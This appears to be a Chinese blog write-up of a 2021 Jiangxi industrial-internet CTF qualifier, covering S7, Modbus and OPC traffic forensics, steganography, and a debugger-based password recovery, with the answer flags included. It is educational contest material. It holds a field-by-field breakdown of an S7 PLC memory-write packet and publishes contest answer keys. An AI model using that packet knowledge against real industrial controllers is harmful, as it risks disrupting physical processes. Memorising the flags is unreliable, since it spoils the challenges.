2021年江西工业互联网安全技术技能大赛线上初赛Writeup

原创

<u>末初</u> → F 2021-10-05 15:32:33 发布 → 1023 ☆ 收藏 14
 分类专栏: <u>CTF_MISC_Writeup</u> 文章标签: <u>2021江西工业互联网大赛</u>
 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/mochu777777/article/details/120553453</u>



CTF_MISC_Writeup 专栏收录该内容

246 篇文章 46 订阅 订阅专栏

文章目录

协议分析

S7协议分析

工控流量分析

异常流量分析

OPC流量分析

应急处置

图片的秘密

现场数据采集

应急恢复

文件分析

组态编程

探索组态密码

恶意程序

恶意app分析

恶意程序分析

固件分析

丢失的密码

工业固件分析

协议分析

S7协议分析

0300002402f080320100000003000e00050501120a100200010000830000000004000801。 请解读以上协议内容,并准确的拿到此报文返回值,flag即为返回值。提交格式: flag{xxx}。

写入报文的数据分析

03	00		报文头
00	24		数据总长度: 36
02	f0 80	32	固定长度: 4
01			命令类型:发
00	00 00	03	标记序列号: 3
00	0e		固定长度: 2
00	05		有效数据长度: 5(从偏移量后第一位开始计算)
05			命令起始符号
01			写入数据块个数:1
12	0a 10		固定长度: 3(返回数据前缀)
02			写入方式: 01按bit写入; 02按byte写入
00	01		写入数据个数: 1(byte方式可以写入多个, bit只能写入单个)
00	00		写入数据块编号: 0
83			写入数据类型: M
00	00 00		写入地址偏移量: 0
00	04		写入方式: 03按bit写入; 04按byte写入
00	08		写入bit的个数
01			写入的值:1

写入报文的返回值

00 16 数据总长度: 22	
02 f0 80 32 固定长度: 4	
03 命令类型:收	
00 00 00 03 标记序列号: 3	
00 02	
00 01	
00 00	
05 01	
ff 表示写入正常	

flag{0300001602f0803203000000030002000100000501ff}

工控流量分析



用科来诊断数据包时发现几个TCP非法校验的包

					分析工程 1 - 科来	网络分析系统 20	020 技术交流	踬					– ø ×
♥ 分析 系统 工具 非	视图												報助
	分析对象 诊断	・ 「「「「「」」 「「「「「「」」 「「「「」」」 「」」 「」」 「」」 「」	日 🦻 🛃			服務							····································
44				为和改重		TRPCCOREEN	利用型((0%)	中的影響型(12)		派重趋势增(位)		前(時間3款(学 (128.0 MB)
节点浏览器	我的图题	表 概要 诊断 ×	(协议 物理論点 IP	端点 物理会话 IP会话 TCP会话 UDI	P会话 服务 端口 VolP呼叫	进程 应用 矩	阵 数据包	日志报	灵表				
- To 😪 🧆 🔊	诊断条目							诊断发生	生地址				
④ 回放分析 - 默认	S 😼	ra 🖷 🖉 🔹				回放分析\诊器	孫目: 7		6- 6- 6-			TCP	非法的校验和\诊断发生地址: 4
田 前次浏览器 (1)	名字			数量				名字		物理地址	IP地址		数量
1 10 物理浏览器 (3)	所有诊断	ភ		715				192.16	8.99.199	28:3A:4D:15:2D:75	192.168	.99.199	5
田 · 112 IP浏览器 (6)	□ 传输层			713				192.16	8.99.34	00:00:00:00:63:22	192.168	99.34	5
● VolP浏览器		「CP 重复的连接尝读	at	23				Cloud I	Network Technology (S	28:3A:4D:15:2D:75	-		5
		「CP 非法的校验和		5				XEROX	CORPORATION-00:63:	00:00:00:63:22	-		5
		CMP 第口不可达		2									
		hal a -											103 169 00 100 2005 100 100
	10 V.	2000 V	891	第/4-42 -4		35 Diskel			1994-1994-1-1-1	Et-Initia	4L		154.100.55.155(診断学件: 5
	「里桂度	9432A	「売力」		1207)	AND ACO OO	100		RENDERED	目例19783	#C 2.4	HIMBREASH	-
		AX98	1730/	1回天町1CF安山市の位置和(満着安山市包:3 横潟かての数学をためないまま数学校。)	(397)	192.168.99.	199		Cloud Network Technol	logy (S 192.168.9	79.34 20.34	XEROX CORPORATION-00:63:	•
		10/10	19期日	1日にない「CPSの第日の3111(第名第3時日)3 (株実施TCD物理和状況を10(主要等時のか、5	(476)	192.100.99	199		Cloud Network Technol	logy (S 192.108.5	99.34	YEROX CORPORATION-00:03:	<u>.</u>
		2078	1998/2	181701311019303103123241(周日903町位)3	(287)	192.108.99.	100		Cloud Network Technol	logy (S 192,108,5	99.94	XEROX CORPORATION-00:05:	·
		2018	他的目	#2017CD物理の約約1(清香物理句:7	(500)	102 168 00	100		Cloud Network Technol	logy (S 192.108.	99.3 4	YEROX CORPORATION-00:63:	-
			15.562.64	NET OF THE ACCOUNT OF THE ACCOUNT OF T	/								CSDN @末 初

查看数据包编号为 3397 、 3398 的包,发现这些包都带有 data 字段

		数据	包 - 诊断事件 - 分析工程 1				- 0	×
编号 日期 绝对时间 源		源端口	源地理位置	目标	目标端口	目标地理位置	协议	应用
3398 2021/08/18 10:21:50.023039000 192.168.99.199		50265	① 本地	192.168.99.34	502	⊕ 本地	MODBUS_TCP	
<	9x7569 (不正确) [59/2]	× 90000000 01	0 00 00 63 22 28 3A 4D 15	2D 75 08 00 45	600 00 59 85 92 40	 c"(:MuE)	У@
- 「「「「「「」」」 - 「「「「」」 - 「「」「」」 - 「」」 - 「」 - 「」 - 「」 - 「」」 - 「」」 - 「」」 - 「」 - 「」 - 「」 - 「」」 - 「」 - 「 - 「」 - 「 - 「 - 「 - 「 - 「」 - 「 - 「 - 「 - 「 - 「 - 「 - 「 - 「	0 0000	52/21	00000015 0	0 80 06 2C D2 C0 A8 63 C7 C0	A8 63 22 C4 59	01 F6 5E 61 9D C7	,cc".Y	^a
Modbus/TCP[Modbus/TCP]	[54/ 12]		0000003F 0	0 00 38 26 50 18 FB BA 75 60 1 00 00 00 01 00 00 00 00 00	01 49 41 43 55	67 4D 53 55 53 53		SUSS
→ ■ 事务标识符[Transaction Identifier]	43690 [5	54/21	00000054 4	D 49 41 39 17 30 74 92 47 13	16 57 52 47 17	47 24 05 53	MIA9.0t.GWRG.G\$.s
→ 一 协议标识符[Protocol Identifier]	3072 [5	56/2]						
───	256 [5	58/2]						
	0 [6	50/1]						
	[61/5]	-						
	.000 0001 (1	卖卷) [61/ 1] (9x7F					
	5633 [6	52/2]						
────────────────────────────────────	0 [6	54/2]						
□ 9 额外数据[Extra Data]	[66/37]	1						
□	37 bytes [66	5/37]						
🖃 🖗 帧校验序列[FCS - Frame Check Sequence]								
	0x7CDD7222 ((计算出的)						
原始数据包			¥				CSDN @	副末 初

然后在wireshark中分析 3397 、 3398 时发现了端倪

									-	
<u> </u>	ackets.cap							-	D	×
文件	(E) 編辑(E) 视图(V)	跳转(G) 捕获(C) 分析(A) 统	计(S) 电话(Y) 无线(W)	工具(工) 帮助(日)						
1	🔳 🔬 🛞 📙 🛅 🗙	🗳 🍳 👄 👄 🗟 🐺 🛓 📃	📃 @, @, @, 👳							
	b用显示过滤器 ··· ⟨Ctrl-,	/>								· +
No.	^ Port	Tine	Source	Destination	Protocol	Length Franc	Identification	Info		^
	3389	502 92.9913940	192.168.99.199	192.168.99.34	TCP	103 🗸	0x858f (34191)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seq=24109 Ack=4921 W	in=64	
	3390	50265 92.9973850	192.168.99.34	192.168.99.199	TCP	64 🖌	0x0f3e (3902)	502 → 50265 [PSH, ACK] Seq=4921 Ack=24158 Win=7702 Len=10		_
	3391	502 93.0031240	192.168.99.199	192.168.99.34	TCP	103 🖌	0x8590 (34192)	50265 → 502 [PSH, ACK] Seq=24158 Ack=4931 Win=64462 Len=49	F	
	3392	502 93.0031280	192.168.99.199	192.168.99.34	TCP	103 🖌	0x8590 (34192)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seq=24158 Ack=4931 W	in=64	
	3393	50265 93.0083690	192.168.99.34	192.168.99.199	TCP	64 🖌	0x0f3f (3903)	502 → 50265 [PSH, ACK] Seq=4931 Ack=24207 Win=7653 Len=10		
	3394	502 93.0129220	192.168.99.199	192.168.99.34	TCP	103 🖌	0x8591 (34193)	50265 → 502 [PSH, ACK] Seq=24207 Ack=4941 Win=64452 Len=49		
	3395	502 93.0129260	192.168.99.199	192.168.99.34	TCP	103 🖌	0x8591 (34193)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seq=24207 Ack=4941 W	in=64	
	3396	50265 93.0189650	192.168.99.34	192.168.99.199	TCP	64 🖌	0x0f40 (3904)	502 → 50265 [PSH, ACK] Seg=4941 Ack=24256 Win=7604 Len=10		
	3397	502 93.0230360	192.168.99.199	192.168.99.34	TCP	103 🖌	0x8592 (34194)	50265 → 502 [PSH, ACK] Seq=24256 Ack=4951 Win=64442 Len=49		
	3398	502 93.0230390	192.168.99.199	192.168.99.34	ТСР	103 🖌	0x8592 (34194)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seq=24256 Ack=4951 W	in=64	
	3399	50265 93.0296550	192.168.99.34	192.168.99.199	TCP	103 🖌	0x0f41 (3905)	502 → 50265 [PSH, ACK] Seq=4951 Ack=24305 Win=7555 Len=10		
	3400	502 93.0340920	192.168.99.199	192.168.99.34	TCP	103 🗸	0x8593 (34195)	50265 → 502 [PSH, ACK] Seq=24305 Ack=4961 Win=64432 Len=49		
	3401	502 93.0340960	192.168.99.199	192.168.99.34	тср	103 🖌	0x8593 (34195)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seg=24305 Ack=4961 W	in=64	
	3402	50265 93,0405080	192.168.99.34	192.168.99.199	TCP	64 🗸	0x0f42 (3906)	502 → 50265 [PSH, ACK] Seq=4961 Ack=24354 Win=7506 Len=10		
	3403	502 93.0452480	192.168.99.199	192.168.99.34	TCP	103 🗸	0x8594 (34196)	50265 → 502 [PSH, ACK] Seq=24354 Ack=4971 Win=64422 Len=49		
	3404	502 93,0452520	192,168,99,199	192,168,99,34	TCP	103 🖌	0x8594 (34196)	[TCP Retransmission] 50265 → 502 [PSH, ACK] Seq=24354 Ack=4971 W	in=64	
	2405	E036E 03 0E11630	102 168 00 34	103 168 00 100	TCD	64 (0,0643 (2007)	EA2 > EA26E [DSH ACK] Sec. 4071 Ack-24482 Min-74E7 Lon-10		

3405	20202 93.0511030	192.108.99.34	195.108.33.133	TCP	64 🖌	0X0T43 (3907)	502 → 50265 [P5H, A	ACK] Seq=4971 ACK=24403	WIN=/45/ Len=10	
< 3406	502 93.0557970	192.168.99.199	192.168.99.34	TCP	103 🗸	0x8595 (34197)	50265 → 502 [PSH, A	ACK] Seq=24403 ACK=4981	W1n=64412 Len=49	, ``
> Frame 3399: 1	03 bytes on wire (82	4 bits), 103 byte	es captured (824	bits)						
> Ethernet II,	Src: 00:00:00_00:63:	22 (00:00:00:00:0	63:22), Dst: Clou	dNet_15:2d:	75 (28:3a:4d:15:	2d:75)				
> Internet Prot	ocol Version 4, Src:	192.168.99.34, [Dst: 192.168.99.1	99						
> Transmission	Control Protocol, Sr	c Port: 502, Dst	Port: 50265, Seq	: 4951, Ack	: 24305, Len: 10	L				
> Data (10 byte	s)									
Data: bbbb0	200010000010000									
[Length: 10]									
0000 28 3a 4d	15 2d 75 00 00 00	00 63 22 08 00 45	5 00 (:M·-u····	c"··E·						
0010 00 32 Of	41 00 00 ff 06 64	4a c0 a8 63 22 c0	∂a8 -2-Ad	J··c"··						
0020 63 c7 01	f6 c4 59 00 00 3b	26 5e 61 9d f8 50	∂18 c····Y·· ;8	&^a··₽·						
0030 1d 83 8d	78 00 00 bb bb 02	00 01 00 00 01 00	0 00 ····x···· ··							
0040 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00	0 00 · · · · · · · · · · · · · · · · ·	• • • • • • •						
0050 00 00 00	64 48 45 79 65 58	4e 6b 63 7a 59 32	2 20 ····dHEye XM	NkczY2						
0060 20 20 20	20 20 20 20									
										CSDN @禾 初

观察前后几个包,发现 .34 给 .99 发的包长度都为 64,唯独 3399 的长度包为 103;查看发现 3399 包被直接附加了一段data字 段之外的数据。发现一段连续的字符串,提取出来base64解码

Recipe	8 🖿 🕯	Input
From Base64	⊘ 11	dHEyeXNkczY2
Alphabet A-Za-z0-9+/=	•	
Remove non-alphabet chars		
		Output
		tq2ysds66
		CSDN @末 初

flag{tq2ysds66}

异常流量分析







某企业的运维工程师发现网络中出现流量异常,于是从场内一交换机抓取了数据包,请协助找出流量中针对正常的业务的异常数据内容,flag提交形式为flag{xxxx}。

CSDN @末 初



大部分为 HTTP 协议流量,但是查看 http流和导出文件都没有发现flag的线索。继续查看少部分的 Modbus 协议

						分析工程2-和	4来网络分析系统	2020 技术交流	版					- 0 ×
● 分析 系统 工具 き	见图													報助-
		「「「「」」」 「「」」 「」」 「」」 「」」 「」」 「」」 「」」 「」	日 日 日 日 名字表 数据包		 会话体选择 	日志文件保存	 登报 成勤情報 			Packede 300				Ju 导出 計 清空 47.6% <mark>1</mark> 清空
导入				分析设置			高级分析	f 利用率 ((1%)	每秒数据包 (2,567)		流量趋势图 (位)		数据包缓存 (128.0 MB)
节点浏览器	概要	诊断×协议	周点 IP会话 TCP会	活 服务 端口 进程 应用	(短阵)(数据包)(日志)									
🗔 🔏 👒 🛕 🖓	诊断条目								诊断发	生地址				
④ 回放分析 - 默认	Ø 9	R. R. C -]	ModBus/TCP\谚	断条目: 3	G IS	6- II- <i>I</i> -			TCP	非法的校验和\诊断发生地址: 4
□ 1 协议浏览器 (2)	名字			数量					名字		物理地址	IP地址		数量
B-T Ethernet II (4)	所有诊	断		1					192.16	8.1.13	50:7B:9D:C8:CC:67	192.168.1	.13	1
□ · · · · · · · · · · · · · · · · · · ·	□ 传输层			1					192.16	8.1.12	00:80:F4:E1:AB:0C	192.168.1	.12	1
B- T TCP (4)		TCP 非法的校验和		1					LCFC(H	HeFei) Electronics Techn	50:7B:9D:C8:CC:67	-		1
ModBus/TCP									TELEM	IECANIQUE ELECTRIQU	00:80:F4:E1:AB:0C	-		1
B-1 UDP (5)														
IGMP														
- T ARP (2)														
IPv6 (2)														
T LLDP														
■														
田 100 物理浏览器 (3)														
■ 🐜 IP浏览器 (6)														
	诊断再往								_					
	P. V.	Bar Car												192168113)涂斯明伊-1
田 (1) 应用浏览器 (8)	- M 0.	134. P	문민	南州描述			SELDHOH			·····································	E të Ditkiti		网络珊瑚	132.100.1.13 (19817-11. 1
	7 mittise (4)	10.22	/ <u>2</u> 75	101110020	- 第二十二日 (1256)		102 169 1	12		LCEC(HeEei) Electronics	Techn 102169112			
		DX194	17.10/22	1日にない、ここを以降1247(182141(18	900 ACM (2: 01330)		192.100.1.	15		Long(nerel) Electronics	192.100.1.12		TELEWICCHWIQUE ELECTRIQU.	
														CSDN @末 初

发现一个非法校验和的包,查看发现尾部附加了一段字符串

	数据包 - 诊断事件 - 分析工程 2												
e													
	编号	日期	绝对时间	源	源端口	源地理位置	目标	目标端口	目标地理位置	协议	应用		
	81356	2019/10/15	16:47:45.602166000	192.168.1.13	13843	⊕ 本地	192.168.1.12	502	⊕ 本地	MODBUS_TCP			

c														
<														>
			00000000	00 8	0 F4 E1	AB ØC	50 7B 90	D C8 C	C 67 0	00 80	45 00	00 4A	6A 45 4	40P{gEJjE@
	81356		00000015 0000002A	00 8	0060C	FF C0 /	48 01 00 Fa fo bi	D C0 A A C3 0	8010 0000	9C 36 90 03	13 01 00 00	F6 23	C0 FE 8	80
	92		000003F	10 0	Ø A8 15	73 79	5E 74 70	6 66 6	7 75 7	6 66	5A 62	71 6F	68 66 6	66syntvfguvfZbqohff
······ 御 捕获长度[Capture Length]	88		00000054	66 6	6 66 66									ffff
	2019/10/15 16:47:45	.602166000												•
□ 🐨 <u>以太网 - II[Ethernet - II]</u>	[0/14]													
	00:80:F4:E1:AB:0C	(TELEMECANIQUE E												
·····································	50:78:9D:C8:CC:67	(LCFC(HeFei) Ele												
	0×800	(IP) [12/2]												
回 ¹ <u>百联网协议[Internet Protocol]</u>	[14/ 20]													
	4	[14/1] 0xF0												/
	5	(20) [14/1]												
□····	[15/1]													
	0000 00	(默认) [15/1]												
	00	(不带ECN的传输												
	74	F16/01	*	1										
LICKA BOLDA LE														CSDN @末 初

syntvfguvfZbqohffffff

经验比较丰富的Misc手可能一眼就能看出来 synt 是字符flag的 rot13 编码





flag{flagisthisModbusssss}

OPC流量分析



使用 科来网络分析系统 分析流量包

• 科来网络分析系统下载地址

打开之后发现很多非法校验的包,点击诊断之后点所有诊断;然后点击源IP地址排序,发现了唯一

的 192.168.0.46 给 192.168.0.43 发的包

PS: 点击排序不了的,取消勾选 超过2000不排序

			分	斤工程 1 - 科来网络	分析系统 2020	技术交流版					- 0 ×
→ 分析 系统 工具 :	视图										報助-
	分析对象 诊断 视图显示节点5	3 🔊	マロー 日本 日本		成助情报 (La		, and a chair of the second	4, MALIAAI,,		は、 日本 1.0%
导入			分析设置		高级分析	利用率 (0%)	每秒数据包 (8)	流	■趋勢圏 (位)	2016	包缓存 (128.0 MB)
节点浏览器	概要 诊断 x 协议 物	· · · · · · · · · · · ·	18条 洪程 反用 短阵 数据包 日志								(m)
	诊断备目					诊断	授生地址				
(9) 同放分析 - 默认				Eth	ernet II\诊断含	SE: 5 G	X			所有论	新、诊断发生地址: 4
□ 丁 协议浏览器 (1)	22		物量			23	2	632777710211	ID+th+th	教母	an openio Logano
🗉 🌱 Ethernet II (1)	4丁 		5.084			102	168.0.43	10/±40/L	192 168 0 43	5084	
🕀 😳 物理浏览器 (1)	用作総合		2 543			192	168.0.46	00:00:29:09:11:90	192.168.0.45	5084	
🖩 🐜 IP浏览器 (1)	 (i) TCP #EX#80803680 		2,543			VM	ware Inc -D9-1E-9D	00:00:29:09:15:90		5084	
──● VoIP浏览器	□ 网络屏		2,541			VM	ware. Inc4C:B9:D3	00:0C:29:4C:B9:D3	-	5084	
	 		2,541								
	诊断事件										
	10 V B) - C -									192.168.0.	43、诊断事件: 5,084
	严重程度 类型	层别	事件描述	2	亰IP地址		▼ 源物理地址	目标IP地址	目标物理地址	源端口	目标端口 ^
	→ 故障	传输层	错误的TCP数据包校验和(请看数据包: 2109)	1	92.168.0.46		VMware, Inc4C:	B9:D3 192.168.0.43	VMware, IncD9:1F:9D	49977	49872
	V 2000	网络层	管決的IP数据包枝验和(清着数据包: 4)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	135	49973
	AX02	网络层	错误的P数据包仪短期(清智数据包:0)	1	92.108.0.43		VMware, IncD9	1E9D 192.168.0.46	VMware, Inc4C:B9:D3	135	49974
	(1) 11/200	网络巴	1日にロジアの1日ビン2年11(現日の3月日: 9) (株式からの2月日本(1)(未完整)(日本)(1))	1	02 169 0 42		VMware, IncD9	15:00 102,100,040	VMware, Inc4C:09:05	40225	49974
	(i) ±t/im	网络国	1日には5F系の第日の3回241(場合系の第日に11) 後足的ID数据の状態和(場合教理の・13)	1	92.108.0.43		VMware IncD9	1F9D 192.168.0.46	VMware, Inc4C-89-D3	49235	49975
	(1) XVR	网络国	法误约IP数据包括注册(得名数据包:15)	1	92 168 0 43		VMware Inc -D9	1F9D 192 168 0.46	VMware Inc. 4C-89:D3	49235	49976
	(1) 故障	网络屋	(結果約)P数据包括2011(結果数据包:15)	1	92.168.0.43		VMware IncD9	1F9D 192,168,0.46	VMware Inc4C:B9:D3	49235	49976
	(i) 故随	网络屋	错误的IP数据包检验和(语音数据包:19)	1	92,168,0.43		VMware IncD9	1E9D 192,168,0.46	VMware Inc4C:B9:D3	49235	49975
	(1) 故障	网络层	错误的IP数据包校验和(语看数据包; 21)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49976
	🖗 故障	网络层	错误的IP数据包校验和(请看数据包: 23)	1	92.168.0.43		VMware, IncD9	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49976
	🚯 故障	网络层	错误的IP数据包校验和(请看数据包: 25)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49975
		网络层	错误的IP数据包校验和(请看数据包: 27)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49975
	⇒ 故障	网络层	错误的IP数据包校验和(请看数据包: 29)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49976
	🚯 故障	网络层	错误的IP数据包校验和(请看数据包: 31)	1	92.168.0.43		VMware, IncD9:	1F:9D 192.168.0.46	VMware, Inc4C:B9:D3	49235	49976
	<										CSDN @末初

查看包的内容,发现

					3	数据包 - 诊断事	件 - 分析工程	1			- C	ı x
	-a- + +	- K - K	- 🕺 - 🗃									
编	弓 日期	绝对时间	源		源端口	源地理位置		目标	目标端口	目标地理位置	协议	应用
210	9 2019/06/20	14:58:43.246643000	192.168.0.46		49977	@ 本地		192.168.0.43	49872	① 本地	ТСР	
K												3
	头部长度[TCP H	eader Length]		0101	(20 字节) [4	6/1] ØxF ^	00000000 0	0 0C 29 D9 1F 9D 00 0C 29 4C	B9 D3 08 00 4	5 00 00 F0 6E B9 40))LE.	n.@
in 🖃 🖷 😑	标识[Flags]			[47/1]			00000015 0	A FA 19 A7 50 18 FA FO 46 7B	00 00 05 00 00	0 83 10 00 00 00 C8	PF{	
0	-◎ 窗口位[Cong	estion Window Reduce	d(CWR)]	0	(Not Set) [4	7/1] 0x8	0000003F	0 00 00 B2 03 00 00 A0 00 00	00 09 00 04 00	0 19 68 07 00 60 07		n`.
	-◎ 阻塞位[ECN-	Echo]		.0	(Not Set) [4	7/1] 0x4	00000054	0 00 C5 08 7C 72 27 5A 21 DC 0 86 42 C8 63 9D 47 A7 47 A2	6D 35 85 D5 45	5 66 BD 00 00 00 00 00	r'2! B.c.G.G.m5Ef	
n -	-◎ 紧急位[Urge	nt]		0	(Not Set) [4	7/1] 0x2	0000007E	1 00 00 00 01 00 00 00 90 94	9E 02 01 00 00	00 55 73 65 72 00	••••••	User.
3	• 确认位[Ackn	owledgement]		1	(Set) [47/1]	0×10	00000093 000000A8	0 00 00 0D 00 00 00 00 00 00 00 00 00 00	40 00 00 00 00 20	0 00 00 00 00 00 08 00 0 00 00 00 35 00 33	· · · · · · ·	
	● 急迫位[Push]			1	(Set) [47/1]	0×08	000000BD 0	0 35 00 35 00 34 00 45 00 35	00 34 00 36 00	31 00 36 00 45 00	.5.5.4.E.5.4.6.1	.6.E.
	· ④ 重置位[Reset	ŧ]			(Not Set) [4	7/1] 0x0	00000002 3 000000E7 0	6 00 38 00 34 00 31 00 34 00 0 39 00 34 00 44 00 35 00 31	44 00 36 00 43	1 00 34 00 31 00 37 3 33 00 64 00 00 7A	6.8.4.1.4.D.6.A. .9.4.D.5.1.3.d.3	4.1.7 .dz
	-◎ 同步位[SYN]			0.	(Not Set) [4	7/1] 0x0	000000FC 4	0 02			@.	
	-◎ 终止位[FIN]			0	(Not Set) [4	7/1] 0x0						
	窗口[Window Si	ze]		64240	[48/2]							
	校验和[Checksu	m]		0x467b	(不正确) [50	9/2]						
	熟慮消費 計[Urgen	t Pointerj		0	[52/2]							
		af hutan		[54/ 200]	54 (2003							
····	ד ד מאַנויעש ש	or bytesj		200 Dytes	547 200]	~						
原始烈	女据包										CSDN	@末 初

很明显是十六进制的ASCI码

53554E54616E68414D6A41794D513d3d



flag{ICSjx@2021}

应急处置

图片的秘密



此电脑 > 下载 > ee8ff29a4e084466041e239070440e670068efb0



secret.jpg 根据文件名猜测为 OurSecret 隐写



	Step 2:	No carrier file selecte Add/remove file or mes dd	d ssage	secret.jpg Size: 359275 bytes Step 2: Enter password				
	Type Name		Size (k)	🔊 Un	hide (dout	ble click to save)		
Help				Туре	Name	Size (k)		
About	< Sten 3: F	Password	>					
Exit	Enter pa	ssword again		<		>		
		Ć	Hide		(

下一步就是获取密码

DowerShell	× 🔹 kali-linux	× + ~						- 0	×
root@mochu7-pc:/mn									
secret.jpg WhereI	sYourKey								
root@mochu7-pc:/mn	t/c/Users/Administrator/Do	wnloads/ee8ff29a4e0844666	41e239070440e670068efb0# file WhereIs	sYourKey			- (22404214221-5001-6-		
whereisyourkey: EL	+ 64-DIT LSB executable, x	86-64, Version I (SYSV),	dynamically linked, interpreter /libe	64/ld-linux-x86-64.50.2, +	or GNU/Linux 2.6.24,	BuildiD[snai]=862ee37793a	a+334043D423Da50eC91C+a.	132260a,	, n
root@mochu7-pc:/mn									
root@mochu7-pc:/mn									
root@mochu7-pc:/mn			41e239070440e670068efb0# ./WhereIsYou	urKey					
Usage : ./WhereIsY	ourKey password								
This time the stri	ng is hidden and we used s	trcmp							
rootgmochu7-pc:/mn	t/c/Users/Administrator/Do		41e239070440e670068e+D0# ./whereIsYou	urkey password					
root0mochu7-oc:/mn	t/c/Users/Administrator/Do		41e239070440e670068efb0# ./WhereIsYou	urKev 123456					
password "123456"	not OK								
root@mochu7-pc:/mn			41e239070440e670068efbe# ./WhereIsYou	urKey mochu777					
password "mochu777	" not OK								
root@mochu7-pc:/mn		wnloads/ee8ff29a4e0844666	41e239978448e578858efb8#						
								DN OF	+ +11
							C	SDN @2	木彻

程序逻辑有比较用户输入和内部秘钥的函数 strcmp,所以这里打个断点,调试就能看到正确秘钥和用户输入秘钥了

► 0x4006d5 s1: s2:	<pre><compare_pwd+91> 0x7fffffffde50</compare_pwd+91></pre>	call y_m0r3_ 5800363	strcmp@plt <strcmp@plt> secur3_pwd' 534333231 /* '123456' */</strcmp@plt>
0x4006da 0x4006dc	<compare_pwd+96> <compare_pwd+98></compare_pwd+98></compare_pwd+96>	test jne	eax, eax compare_pwd+112 <compare_pwd+112></compare_pwd+112>
0x4006de 0x4006e3	<compare_pwd+100> <compare_pwd+105></compare_pwd+105></compare_pwd+100>	mov call	edi, 0x4007e8 puts@plt < <mark>puts@plt></mark>
0x4006e8	<compare_pwd+110></compare_pwd+110>	jmp	<pre>compare_pwd+134 <compare_pwd+134></compare_pwd+134></pre>
0x4006ea 0x4006ee 0x4006f1 0x4006f6 0x4006fb	<compare_pwd+112> <compare_pwd+116> <compare_pwd+119> <compare_pwd+124> <compare_pwd+129></compare_pwd+129></compare_pwd+124></compare_pwd+119></compare_pwd+116></compare_pwd+112>	mov mov mov call	rax, qword ptr [rbp - 0x28] rsi, rax edi, 0x4007f4 eax, 0 printf@plt <printf@plt> ACK 1</printf@plt>

得到密码: my_m0r3_secur3_pwd



	Subject flag Text	275 bytes
Help	bNalVNrgkPaltLrlpLohiA5RTAHRTF1iHnRTJ1BgAJxjBqVZQbBx	le click to save) Size (k) 0
About Exit	<	,
	💕 Hide	CSDN CSDN

肉眼分辨不出来什么编码,对着我之前写的: 收录CTF中MISC常用的在线工具网站

里面的编码一个个试,发现是 XXencode

XXencode XXencode	
bNalVNrgkPaltLrIpLohiA5RTAHRTF1-iHnRTJ1BgAJxjBqVZQbBx	
字符集 utf8(unicode编码) ▼	1
编码 flag{Only_u5_KnOw_17_DOnO7_T311_o7hers}	CCDN の古 31

flag{0nlv	u5	Kn0w	17	D0n07	T311	o7hers	}
· – ∽ – (• · · –)							

现场数据采集



根据题目意思猜测可能为视频流量数据,发现流量包中含有大量 h264 协议的包

d capture	_packets.pcap							-	o ×
文件(E) 第	育撮(E) 视图(V)	跳转(G) 捕获(C) 分析(A) 約	充计(S) 电话(Y) 无线(W)	工具(1) 帮助(H)					
▲ ■ ₫	Θ 📙 🗅 🗙	🖸 🍳 🗢 🗢 🕾 Ŧ 🔬 📃	📕 छ. छ. छ. म						
h264									× +
No.	Port	Tine	Source	Bestination	Protocol	Length Frane	Identification	Info	^
	204	40124 10.718206	10.62.1.104	10.25.150.244	H264	68 🖌	0xe975 (59765)	PT=H264, SSRC=0xB6D799DD, Seq=28017, Time=3920341566 SPS	
	205	37086 10.718351	10.25.150.244	10.62.1.102	H264	68 🖌	0x05b4 (1460)	PT=H264, SSRC=0xB6D799DD, Seq=28017, Time=3920341566 SPS	
	206	40124 10.726149	10.62.1.104	10.25.150.244	H264	60 🖌	0xe976 (59766)	PT=H264, SSRC=0xB6D799DD, Seq=28018, Time=3920341566 PPS	
	207	37086 10.726292	10.25.150.244	10.62.1.102	H264	58 🖌	0x05b5 (1461)	PT=H264, SSRC=0xB6D799DD, Seq=28018, Time=3920341566 PPS	
	208	40124 10.726392	10.62.1.104	10.25.150.244	H264	985 🖌	Øxe977 (59767)	PT=H264, SSRC=0xB6D799DD, Seq=28019, Time=3920341566 FU-A Start:	IDR-S
	209	37086 10.726432	10.25.150.244	10.62.1.102	H264	985 🖌	0x05b6 (1462)	PT=H264, SSRC=0xB6D799DD, Seq=28019, Time=3920341566 FU-A Start:	IDR-S
	210	40124 10.726674	10.62.1.104	10.25.150.244	H264	985 🖌	0xe978 (59768)	PT=H264, SSRC=0xB6D799DD, Seq=28020, Time=3920341566 FU-A	
	211	40124 10.726699	10.62.1.104	10.25.150.244	H264	985 🗸	0xe979 (59769)	PT=H264, SSRC=0xB6D799DD, Seq=28021, Time=3920341566 FU-A	
	212	37086 10.726756	10.25.150.244	10.62.1.102	H264	985 🗸	0x05b7 (1463)	PT=H264, SSRC=0xB6D799DD, Seq=28020, Time=3920341566 FU-A	
	213	37086 10.726769	10.25.150.244	10.62.1.102	H264	985 🗸	0x05b8 (1464)	PT=H264, SSRC=0xB6D799DD, Seq=28021, Time=3920341566 FU-A	
	214	40124 10.726875	10.62.1.104	10.25.150.244	H264	989 🖌	0xe97a (59770)	PT=H264, SSRC=0xB6D799DD, Seq=28022, Time=3920341566, Mark FU-A H	nd
	215	37086 10.726909	10.25.150.244	10.62.1.102	H264	989 🗸	0x05b9 (1465)	PT=H264, SSRC=0xB6D799DD, Seq=28022, Time=3920341566, Mark FU-A H	Ind
	220	40124 10.795702	10.62.1.104	10.25.150.244	H264	1018 🖌	Øxe986 (59782)	PT=H264, SSRC=0xB6D799DD, Seq=28023, Time=3920349396 FU-A Start:	ion-I
